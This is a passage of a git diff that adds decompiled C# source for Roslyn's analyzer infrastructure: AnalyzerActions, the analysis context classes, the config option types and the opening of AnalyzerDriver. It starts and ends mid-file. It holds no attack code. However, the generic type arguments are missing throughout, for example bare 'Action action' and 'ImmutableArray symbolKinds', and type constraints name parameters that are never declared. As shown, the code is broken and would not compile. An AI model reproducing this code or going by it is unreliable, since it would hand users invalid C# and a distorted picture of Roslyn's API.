AddSymbolAction(SymbolAnalyzerAction action) + { + _symbolActions = _symbolActions.Add(action); + IsEmpty = false; + } + + internal void AddSymbolStartAction(SymbolStartAnalyzerAction action) + { + _symbolStartActions = _symbolStartActions.Add(action); + IsEmpty = false; + } + + internal void AddSymbolEndAction(SymbolEndAnalyzerAction action) + { + _symbolEndActions = _symbolEndActions.Add(action); + IsEmpty = false; + } + + internal void AddCodeBlockStartAction(CodeBlockStartAnalyzerAction action) where TLanguageKindEnum : struct + { + _codeBlockStartActions = _codeBlockStartActions.Add(action); + IsEmpty = false; + } + + internal void AddCodeBlockEndAction(CodeBlockAnalyzerAction action) + { + _codeBlockEndActions = _codeBlockEndActions.Add(action); + IsEmpty = false; + } + + internal void AddCodeBlockAction(CodeBlockAnalyzerAction action) + { + _codeBlockActions = _codeBlockActions.Add(action); + IsEmpty = false; + } + + internal void AddSyntaxNodeAction(SyntaxNodeAnalyzerAction action) where TLanguageKindEnum : struct + { + _syntaxNodeActions = _syntaxNodeActions.Add(action); + IsEmpty = false; + } + + internal void AddOperationBlockStartAction(OperationBlockStartAnalyzerAction action) + { + _operationBlockStartActions = _operationBlockStartActions.Add(action); + IsEmpty = false; + } + + internal void AddOperationBlockAction(OperationBlockAnalyzerAction action) + { + _operationBlockActions = _operationBlockActions.Add(action); + IsEmpty = false; + } + + internal void AddOperationBlockEndAction(OperationBlockAnalyzerAction action) + { + _operationBlockEndActions = _operationBlockEndActions.Add(action); + IsEmpty = false; + } + + internal void AddOperationAction(OperationAnalyzerAction action) + { + _operationActions = _operationActions.Add(action); + IsEmpty = false; + } + + internal void EnableConcurrentExecution() + { + _concurrent = true; + } + + public readonly AnalyzerActions Append(in AnalyzerActions otherActions, bool appendSymbolStartAndSymbolEndActions = true) + { + if (otherActions.IsDefault) + { + throw new ArgumentNullException("otherActions"); + } + AnalyzerActions result = new AnalyzerActions(_concurrent || otherActions.Concurrent); + result._compilationStartActions = _compilationStartActions.AddRange(otherActions._compilationStartActions); + result._compilationEndActions = _compilationEndActions.AddRange(otherActions._compilationEndActions); + result._compilationActions = _compilationActions.AddRange(otherActions._compilationActions); + result._syntaxTreeActions = _syntaxTreeActions.AddRange(otherActions._syntaxTreeActions); + result._additionalFileActions = _additionalFileActions.AddRange(otherActions._additionalFileActions); + result._semanticModelActions = _semanticModelActions.AddRange(otherActions._semanticModelActions); + result._symbolActions = _symbolActions.AddRange(otherActions._symbolActions); + result._symbolStartActions = (appendSymbolStartAndSymbolEndActions ? _symbolStartActions.AddRange(otherActions._symbolStartActions) : _symbolStartActions); + result._symbolEndActions = (appendSymbolStartAndSymbolEndActions ? _symbolEndActions.AddRange(otherActions._symbolEndActions) : _symbolEndActions); + result._codeBlockStartActions = _codeBlockStartActions.AddRange(otherActions._codeBlockStartActions); + result._codeBlockEndActions = _codeBlockEndActions.AddRange(otherActions._codeBlockEndActions); + result._codeBlockActions = _codeBlockActions.AddRange(otherActions._codeBlockActions); + result._syntaxNodeActions = _syntaxNodeActions.AddRange(otherActions._syntaxNodeActions); + result._operationActions = _operationActions.AddRange(otherActions._operationActions); + result._operationBlockStartActions = _operationBlockStartActions.AddRange(otherActions._operationBlockStartActions); + result._operationBlockEndActions = _operationBlockEndActions.AddRange(otherActions._operationBlockEndActions); + result._operationBlockActions = _operationBlockActions.AddRange(otherActions._operationBlockActions); + result.IsEmpty = IsEmpty && otherActions.IsEmpty; + return result; + } + + static AnalyzerActions() + { + Empty = new AnalyzerActions(concurrent: false); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerAnalysisContext.cs new file mode 100644 index 0000000..14667b4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerAnalysisContext.cs @@ -0,0 +1,105 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AnalyzerAnalysisContext : AnalysisContext +{ + private readonly DiagnosticAnalyzer _analyzer; + + private readonly HostSessionStartAnalysisScope _scope; + + public AnalyzerAnalysisContext(DiagnosticAnalyzer analyzer, HostSessionStartAnalysisScope scope) + { + _analyzer = analyzer; + _scope = scope; + } + + public override void RegisterCompilationStartAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCompilationStartAction(_analyzer, action); + } + + public override void RegisterCompilationAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCompilationAction(_analyzer, action); + } + + public override void RegisterSyntaxTreeAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterSyntaxTreeAction(_analyzer, action); + } + + public override void RegisterAdditionalFileAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterAdditionalFileAction(_analyzer, action); + } + + public override void RegisterSemanticModelAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterSemanticModelAction(_analyzer, action); + } + + public override void RegisterSymbolAction(Action action, ImmutableArray symbolKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, symbolKinds); + _scope.RegisterSymbolAction(_analyzer, action, symbolKinds); + } + + public override void RegisterSymbolStartAction(Action action, SymbolKind symbolKind) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterSymbolStartAction(_analyzer, action, symbolKind); + } + + public override void RegisterCodeBlockStartAction(Action> action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCodeBlockStartAction(_analyzer, action); + } + + public override void RegisterCodeBlockAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCodeBlockAction(_analyzer, action); + } + + public override void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, syntaxKinds); + _scope.RegisterSyntaxNodeAction(_analyzer, action, syntaxKinds); + } + + public override void RegisterOperationAction(Action action, ImmutableArray operationKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, operationKinds); + _scope.RegisterOperationAction(_analyzer, action, operationKinds); + } + + public override void RegisterOperationBlockStartAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterOperationBlockStartAction(_analyzer, action); + } + + public override void RegisterOperationBlockAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterOperationBlockAction(_analyzer, action); + } + + public override void EnableConcurrentExecution() + { + _scope.EnableConcurrentExecution(_analyzer); + } + + public override void ConfigureGeneratedCodeAnalysis(GeneratedCodeAnalysisFlags mode) + { + _scope.ConfigureGeneratedCodeAnalysis(_analyzer, mode); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerCodeBlockStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerCodeBlockStartAnalysisContext.cs new file mode 100644 index 0000000..fb14951 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerCodeBlockStartAnalysisContext.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AnalyzerCodeBlockStartAnalysisContext : CodeBlockStartAnalysisContext where TLanguageKindEnum : struct +{ + private readonly DiagnosticAnalyzer _analyzer; + + private readonly HostCodeBlockStartAnalysisScope _scope; + + internal AnalyzerCodeBlockStartAnalysisContext(DiagnosticAnalyzer analyzer, HostCodeBlockStartAnalysisScope scope, SyntaxNode codeBlock, ISymbol owningSymbol, SemanticModel semanticModel, AnalyzerOptions options, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + : base(codeBlock, owningSymbol, semanticModel, options, filterSpan, isGeneratedCode, cancellationToken) + { + _analyzer = analyzer; + _scope = scope; + } + + public override void RegisterCodeBlockEndAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCodeBlockEndAction(_analyzer, action); + } + + public override void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, syntaxKinds); + _scope.RegisterSyntaxNodeAction(_analyzer, action, syntaxKinds); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerCompilationStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerCompilationStartAnalysisContext.cs new file mode 100644 index 0000000..ecece1d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerCompilationStartAnalysisContext.cs @@ -0,0 +1,100 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Threading; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AnalyzerCompilationStartAnalysisContext : CompilationStartAnalysisContext +{ + private readonly DiagnosticAnalyzer _analyzer; + + private readonly HostCompilationStartAnalysisScope _scope; + + private readonly CompilationAnalysisValueProviderFactory _compilationAnalysisValueProviderFactory; + + public AnalyzerCompilationStartAnalysisContext(DiagnosticAnalyzer analyzer, HostCompilationStartAnalysisScope scope, Compilation compilation, AnalyzerOptions options, CompilationAnalysisValueProviderFactory compilationAnalysisValueProviderFactory, CancellationToken cancellationToken) + : base(compilation, options, cancellationToken) + { + _analyzer = analyzer; + _scope = scope; + _compilationAnalysisValueProviderFactory = compilationAnalysisValueProviderFactory; + } + + public override void RegisterCompilationEndAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCompilationEndAction(_analyzer, action); + } + + public override void RegisterSyntaxTreeAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterSyntaxTreeAction(_analyzer, action); + } + + public override void RegisterAdditionalFileAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterAdditionalFileAction(_analyzer, action); + } + + public override void RegisterSemanticModelAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterSemanticModelAction(_analyzer, action); + } + + public override void RegisterSymbolAction(Action action, ImmutableArray symbolKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, symbolKinds); + _scope.RegisterSymbolAction(_analyzer, action, symbolKinds); + } + + public override void RegisterSymbolStartAction(Action action, SymbolKind symbolKind) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterSymbolStartAction(_analyzer, action, symbolKind); + } + + public override void RegisterCodeBlockStartAction(Action> action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCodeBlockStartAction(_analyzer, action); + } + + public override void RegisterCodeBlockAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterCodeBlockAction(_analyzer, action); + } + + public override void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, syntaxKinds); + _scope.RegisterSyntaxNodeAction(_analyzer, action, syntaxKinds); + } + + public override void RegisterOperationBlockStartAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterOperationBlockStartAction(_analyzer, action); + } + + public override void RegisterOperationBlockAction(Action action) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action); + _scope.RegisterOperationBlockAction(_analyzer, action); + } + + public override void RegisterOperationAction(Action action, ImmutableArray operationKinds) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(action, operationKinds); + _scope.RegisterOperationAction(_analyzer, action, operationKinds); + } + + internal override bool TryGetValueCore(TKey key, AnalysisValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return _compilationAnalysisValueProviderFactory.GetValueProvider(valueProvider).TryGetValue(key, out value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerConfigOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerConfigOptions.cs new file mode 100644 index 0000000..32a07e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerConfigOptions.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class AnalyzerConfigOptions +{ + public static StringComparer KeyComparer { get; } = AnalyzerConfig.Section.PropertiesKeyComparer; + + public virtual IEnumerable Keys + { + get + { + throw new NotImplementedException(); + } + } + + public abstract bool TryGetValue(string key, [NotNullWhen(true)] out string? value); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerConfigOptionsProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerConfigOptionsProvider.cs new file mode 100644 index 0000000..1e09cc9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerConfigOptionsProvider.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class AnalyzerConfigOptionsProvider +{ + public abstract AnalyzerConfigOptions GlobalOptions { get; } + + public abstract AnalyzerConfigOptions GetOptions(SyntaxTree tree); + + public abstract AnalyzerConfigOptions GetOptions(AdditionalText textFile); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerDriver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerDriver.cs new file mode 100644 index 0000000..b64d4c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerDriver.cs @@ -0,0 +1,2391 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Diagnostics.Telemetry; +using Microsoft.CodeAnalysis.ErrorReporting; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal abstract class AnalyzerDriver : IDisposable +{ + internal sealed class CompilationData + { + public CachingSemanticModelProvider SemanticModelProvider { get; } + + public SuppressMessageAttributeState SuppressMessageAttributeState { get; } + + public CompilationData(Compilation compilation) + { + SemanticModelProvider = (CachingSemanticModelProvider)compilation.SemanticModelProvider; + SuppressMessageAttributeState = new SuppressMessageAttributeState(compilation); + } + } + + internal readonly struct DeclarationAnalysisData(SyntaxNode declaringReferenceSyntax, SyntaxNode topmostNodeForAnalysis, ImmutableArray declarationsInNodeBuilder, bool isPartialAnalysis) + { + public readonly SyntaxNode DeclaringReferenceSyntax = declaringReferenceSyntax; + + public readonly SyntaxNode TopmostNodeForAnalysis = topmostNodeForAnalysis; + + public readonly ImmutableArray DeclarationsInNode = declarationsInNodeBuilder; + + public readonly ArrayBuilder DescendantNodesToAnalyze = ArrayBuilder.GetInstance(); + + public readonly bool IsPartialAnalysis = isPartialAnalysis; + + public void Free() + { + DescendantNodesToAnalyze.Free(); + } + } + + private sealed class EventProcessedState + { + public static readonly EventProcessedState Processed = new EventProcessedState(EventProcessedStateKind.Processed); + + public static readonly EventProcessedState NotProcessed = new EventProcessedState(EventProcessedStateKind.NotProcessed); + + public EventProcessedStateKind Kind { get; } + + public ImmutableArray SubsetProcessedAnalyzers { get; } + + private EventProcessedState(EventProcessedStateKind kind) + { + Kind = kind; + SubsetProcessedAnalyzers = default(ImmutableArray); + } + + private EventProcessedState(ImmutableArray subsetProcessedAnalyzers) + { + SubsetProcessedAnalyzers = subsetProcessedAnalyzers; + Kind = EventProcessedStateKind.PartiallyProcessed; + } + + public static EventProcessedState CreatePartiallyProcessed(ImmutableArray subsetProcessedAnalyzers) + { + return new EventProcessedState(subsetProcessedAnalyzers); + } + } + + private enum EventProcessedStateKind + { + Processed, + NotProcessed, + PartiallyProcessed + } + + private sealed class GeneratedCodeTokenWalker : SyntaxWalker + { + private readonly CancellationToken _cancellationToken; + + public bool HasGeneratedCodeIdentifier { get; private set; } + + public GeneratedCodeTokenWalker(CancellationToken cancellationToken) + : base(SyntaxWalkerDepth.Token) + { + _cancellationToken = cancellationToken; + } + + public override void Visit(SyntaxNode node) + { + if (!HasGeneratedCodeIdentifier) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + base.Visit(node); + } + } + + protected override void VisitToken(SyntaxToken token) + { + HasGeneratedCodeIdentifier |= string.Equals(token.ValueText, "GeneratedCode", StringComparison.Ordinal) || string.Equals(token.ValueText, "GeneratedCodeAttribute", StringComparison.Ordinal); + } + } + + protected interface IGroupedAnalyzerActions + { + bool IsEmpty { get; } + + AnalyzerActions AnalyzerActions { get; } + + IGroupedAnalyzerActions Append(IGroupedAnalyzerActions groupedAnalyzerActions); + } + + private const int MaxSymbolKind = 100; + + private static readonly Func s_IsCompilerAnalyzerFunc = IsCompilerAnalyzer; + + private static readonly Func s_getTopmostNodeForAnalysis = GetTopmostNodeForAnalysis; + + private readonly Func _isGeneratedCode; + + private readonly ConcurrentSet? _programmaticSuppressions; + + private readonly ConcurrentSet? _diagnosticsProcessedForProgrammaticSuppressions; + + private readonly bool _hasDiagnosticSuppressors; + + private readonly SeverityFilter _severityFilter; + + private CancellationTokenRegistration? _lazyQueueRegistration; + + private AnalyzerExecutor? _lazyAnalyzerExecutor; + + private CompilationData? _lazyCurrentCompilationData; + + private ImmutableHashSet? _lazyUnsuppressedAnalyzers; + + private ConcurrentDictionary<(INamespaceOrTypeSymbol, DiagnosticAnalyzer), IGroupedAnalyzerActions>? _lazyPerSymbolAnalyzerActionsCache; + + private ImmutableArray<(DiagnosticAnalyzer, ImmutableArray>)> _lazySymbolActionsByKind; + + private ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> _lazySemanticModelActions; + + private ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> _lazySyntaxTreeActions; + + private ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> _lazyAdditionalFileActions; + + private ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> _lazyCompilationActions; + + private ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> _lazyCompilationEndActions; + + private ImmutableHashSet? _lazyCompilationEndAnalyzers; + + internal const GeneratedCodeAnalysisFlags DefaultGeneratedCodeAnalysisFlags = GeneratedCodeAnalysisFlags.Analyze | GeneratedCodeAnalysisFlags.ReportDiagnostics; + + private ImmutableSegmentedDictionary _lazyAnalyzerGateMap; + + private ImmutableSegmentedDictionary _lazyGeneratedCodeAnalysisFlagsMap; + + private AnalyzerActions _lazyAnalyzerActions; + + private ImmutableHashSet? _lazyNonConfigurableAnalyzers; + + private ImmutableHashSet? _lazySymbolStartAnalyzers; + + private bool? _lazyTreatAllCodeAsNonGeneratedCode; + + private bool? _lazyDoNotAnalyzeGeneratedCode; + + private ConcurrentDictionary? _lazyGeneratedCodeFilesMap; + + private Dictionary>? _lazyGeneratedCodeSymbolsForTreeMap; + + private ConcurrentDictionary>? _lazySuppressedAnalyzersForTreeMap; + + private ConcurrentSet? _lazySuppressedDiagnosticIdsForUnsuppressedAnalyzers; + + private ConcurrentDictionary? _lazyIsGeneratedCodeSymbolMap; + + private ConcurrentDictionary? _lazyTreesWithHiddenRegionsMap; + + private INamedTypeSymbol? _lazyGeneratedCodeAttribute; + + private Task? _lazyInitializeTask; + + private bool _initializeSucceeded; + + private Task? _lazyPrimaryTask; + + private readonly int _workerCount = Environment.ProcessorCount; + + private AsyncQueue? _lazyCompilationEventQueue; + + private DiagnosticQueue? _lazyDiagnosticQueue; + + protected ImmutableArray Analyzers { get; } + + protected AnalyzerManager AnalyzerManager { get; } + + protected AnalyzerExecutor AnalyzerExecutor => _lazyAnalyzerExecutor; + + protected CompilationData CurrentCompilationData => _lazyCurrentCompilationData; + + protected CachingSemanticModelProvider SemanticModelProvider => CurrentCompilationData.SemanticModelProvider; + + protected ref readonly AnalyzerActions AnalyzerActions => ref _lazyAnalyzerActions; + + protected ImmutableHashSet UnsuppressedAnalyzers => _lazyUnsuppressedAnalyzers; + + private ConcurrentDictionary<(INamespaceOrTypeSymbol, DiagnosticAnalyzer), IGroupedAnalyzerActions> PerSymbolAnalyzerActionsCache => _lazyPerSymbolAnalyzerActionsCache; + + private ImmutableHashSet CompilationEndAnalyzers => _lazyCompilationEndAnalyzers; + + private ImmutableSegmentedDictionary AnalyzerGateMap => _lazyAnalyzerGateMap; + + private ImmutableSegmentedDictionary GeneratedCodeAnalysisFlagsMap => _lazyGeneratedCodeAnalysisFlagsMap; + + private ImmutableHashSet NonConfigurableAnalyzers => _lazyNonConfigurableAnalyzers; + + private ImmutableHashSet SymbolStartAnalyzers => _lazySymbolStartAnalyzers; + + private bool TreatAllCodeAsNonGeneratedCode => _lazyTreatAllCodeAsNonGeneratedCode.Value; + + private ConcurrentDictionary GeneratedCodeFilesMap => _lazyGeneratedCodeFilesMap; + + private Dictionary> GeneratedCodeSymbolsForTreeMap => _lazyGeneratedCodeSymbolsForTreeMap; + + private ConcurrentDictionary> SuppressedAnalyzersForTreeMap => _lazySuppressedAnalyzersForTreeMap; + + private ConcurrentSet SuppressedDiagnosticIdsForUnsuppressedAnalyzers => _lazySuppressedDiagnosticIdsForUnsuppressedAnalyzers; + + private ConcurrentDictionary IsGeneratedCodeSymbolMap => _lazyIsGeneratedCodeSymbolMap; + + public AsyncQueue CompilationEventQueue => _lazyCompilationEventQueue; + + public DiagnosticQueue DiagnosticQueue => _lazyDiagnosticQueue; + + public bool IsInitialized => _lazyInitializeTask != null; + + public Task WhenInitializedTask => _lazyInitializeTask; + + public Task WhenCompletedTask => _lazyPrimaryTask; + + internal ImmutableDictionary AnalyzerExecutionTimes => AnalyzerExecutor.AnalyzerExecutionTimes; + + protected bool DoNotAnalyzeGeneratedCode => _lazyDoNotAnalyzeGeneratedCode.Value; + + protected abstract IGroupedAnalyzerActions EmptyGroupedActions { get; } + + protected AnalyzerDriver(ImmutableArray analyzers, AnalyzerManager analyzerManager, SeverityFilter severityFilter, Func isComment) + { + Analyzers = analyzers; + AnalyzerManager = analyzerManager; + _isGeneratedCode = (SyntaxTree tree, CancellationToken ct) => GeneratedCodeUtilities.IsGeneratedCode(tree, isComment, ct); + _severityFilter = severityFilter; + _hasDiagnosticSuppressors = Analyzers.Any((DiagnosticAnalyzer a) => a is DiagnosticSuppressor); + _programmaticSuppressions = (_hasDiagnosticSuppressors ? new ConcurrentSet() : null); + _diagnosticsProcessedForProgrammaticSuppressions = (_hasDiagnosticSuppressors ? new ConcurrentSet(Roslyn.Utilities.ReferenceEqualityComparer.Instance) : null); + _lazyAnalyzerGateMap = ImmutableSegmentedDictionary.Empty; + } + + private void Initialize(AnalyzerExecutor analyzerExecutor, DiagnosticQueue diagnosticQueue, CompilationData compilationData, AnalysisScope analysisScope, ConcurrentSet? suppressedDiagnosticIds, CancellationToken cancellationToken) + { + try + { + _lazyAnalyzerExecutor = analyzerExecutor; + _lazyCurrentCompilationData = compilationData; + _lazyDiagnosticQueue = diagnosticQueue; + _lazySuppressedDiagnosticIdsForUnsuppressedAnalyzers = suppressedDiagnosticIds; + _lazyInitializeTask = Task.Run(async delegate + { + (AnalyzerActions, ImmutableHashSet) tuple = await GetAnalyzerActionsAsync(Analyzers, AnalyzerManager, analyzerExecutor, analysisScope, _severityFilter, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + _lazyAnalyzerActions = tuple.Item1; + _lazyUnsuppressedAnalyzers = tuple.Item2; + ImmutableSegmentedDictionary lazyAnalyzerGateMap = await CreateAnalyzerGateMapAsync(UnsuppressedAnalyzers, AnalyzerManager, analyzerExecutor, analysisScope, _severityFilter, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + _lazyAnalyzerGateMap = lazyAnalyzerGateMap; + _lazyNonConfigurableAnalyzers = ComputeNonConfigurableAnalyzers(UnsuppressedAnalyzers, cancellationToken); + _lazySymbolStartAnalyzers = ComputeSymbolStartAnalyzers(UnsuppressedAnalyzers); + ImmutableSegmentedDictionary lazyGeneratedCodeAnalysisFlagsMap = await CreateGeneratedCodeAnalysisFlagsMapAsync(UnsuppressedAnalyzers, AnalyzerManager, analyzerExecutor, analysisScope, _severityFilter, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + _lazyGeneratedCodeAnalysisFlagsMap = lazyGeneratedCodeAnalysisFlagsMap; + _lazyTreatAllCodeAsNonGeneratedCode = ComputeShouldTreatAllCodeAsNonGeneratedCode(UnsuppressedAnalyzers, GeneratedCodeAnalysisFlagsMap); + _lazyDoNotAnalyzeGeneratedCode = ComputeShouldSkipAnalysisOnGeneratedCode(UnsuppressedAnalyzers, GeneratedCodeAnalysisFlagsMap, TreatAllCodeAsNonGeneratedCode); + _lazyGeneratedCodeFilesMap = new ConcurrentDictionary(); + _lazyGeneratedCodeSymbolsForTreeMap = new Dictionary>(); + _lazyIsGeneratedCodeSymbolMap = new ConcurrentDictionary(); + _lazyTreesWithHiddenRegionsMap = new ConcurrentDictionary(); + _lazySuppressedAnalyzersForTreeMap = new ConcurrentDictionary>(); + _lazyGeneratedCodeAttribute = analyzerExecutor.Compilation?.GetTypeByMetadataName("System.CodeDom.Compiler.GeneratedCodeAttribute"); + _lazySymbolActionsByKind = MakeSymbolActionsByKind(in AnalyzerActions); + _lazySemanticModelActions = MakeActionsByAnalyzer(AnalyzerActions.SemanticModelActions); + _lazySyntaxTreeActions = MakeActionsByAnalyzer(AnalyzerActions.SyntaxTreeActions); + _lazyAdditionalFileActions = MakeActionsByAnalyzer(AnalyzerActions.AdditionalFileActions); + _lazyCompilationActions = MakeActionsByAnalyzer(AnalyzerActions.CompilationActions); + _lazyCompilationEndActions = MakeActionsByAnalyzer(AnalyzerActions.CompilationEndActions); + _lazyCompilationEndAnalyzers = MakeCompilationEndAnalyzers(_lazyCompilationEndActions); + if (AnalyzerActions.SymbolStartActionsCount > 0) + { + _lazyPerSymbolAnalyzerActionsCache = new ConcurrentDictionary<(INamespaceOrTypeSymbol, DiagnosticAnalyzer), IGroupedAnalyzerActions>(); + } + }, cancellationToken); + cancellationToken.ThrowIfCancellationRequested(); + _initializeSucceeded = true; + } + finally + { + if (_lazyInitializeTask == null) + { + _lazyInitializeTask = Task.FromCanceled(new CancellationToken(canceled: true)); + _lazyPrimaryTask = Task.FromCanceled(new CancellationToken(canceled: true)); + DiagnosticQueue.TryComplete(); + } + } + } + + internal void Initialize(Compilation compilation, CompilationWithAnalyzersOptions analysisOptions, CompilationData compilationData, AnalysisScope analysisScope, bool categorizeDiagnostics, bool trackSuppressedDiagnosticIds, CancellationToken cancellationToken) + { + DiagnosticQueue diagnosticQueue = Microsoft.CodeAnalysis.Diagnostics.DiagnosticQueue.Create(categorizeDiagnostics); + ConcurrentSet suppressedDiagnosticIds = (trackSuppressedDiagnosticIds ? new ConcurrentSet() : null); + Action addNotCategorizedDiagnostic = null; + Action addCategorizedLocalDiagnostic = null; + Action addCategorizedNonLocalDiagnostic = null; + if (categorizeDiagnostics) + { + addCategorizedLocalDiagnostic = GetDiagnosticSink(diagnosticQueue.EnqueueLocal, compilation, analysisOptions.Options, _severityFilter, suppressedDiagnosticIds); + addCategorizedNonLocalDiagnostic = GetDiagnosticSink(diagnosticQueue.EnqueueNonLocal, compilation, analysisOptions.Options, _severityFilter, suppressedDiagnosticIds); + } + else + { + addNotCategorizedDiagnostic = GetDiagnosticSink(diagnosticQueue.Enqueue, compilation, analysisOptions.Options, _severityFilter, suppressedDiagnosticIds); + } + Action onAnalyzerException = delegate(Exception ex, DiagnosticAnalyzer analyzer, Diagnostic diagnostic, CancellationToken cancellationToken2) + { + Diagnostic filteredDiagnostic = GetFilteredDiagnostic(diagnostic, compilation, analysisOptions.Options, _severityFilter, suppressedDiagnosticIds, cancellationToken2); + if (filteredDiagnostic != null) + { + if (analysisOptions.OnAnalyzerException != null) + { + analysisOptions.OnAnalyzerException(ex, analyzer, filteredDiagnostic); + } + else if (categorizeDiagnostics) + { + addCategorizedNonLocalDiagnostic(filteredDiagnostic, analyzer, cancellationToken2); + } + else + { + addNotCategorizedDiagnostic(filteredDiagnostic, cancellationToken2); + } + } + }; + AnalyzerExecutor analyzerExecutor = Microsoft.CodeAnalysis.Diagnostics.AnalyzerExecutor.Create(compilation, analysisOptions.Options ?? AnalyzerOptions.Empty, addNotCategorizedDiagnostic, onAnalyzerException, analysisOptions.AnalyzerExceptionFilter, IsCompilerAnalyzer, AnalyzerManager, ShouldSkipAnalysisOnGeneratedCode, ShouldSuppressGeneratedCodeDiagnostic, IsGeneratedOrHiddenCodeLocation, IsAnalyzerSuppressedForTree, GetAnalyzerGate, GetOrCreateSemanticModel, analysisOptions.LogAnalyzerExecutionTime, 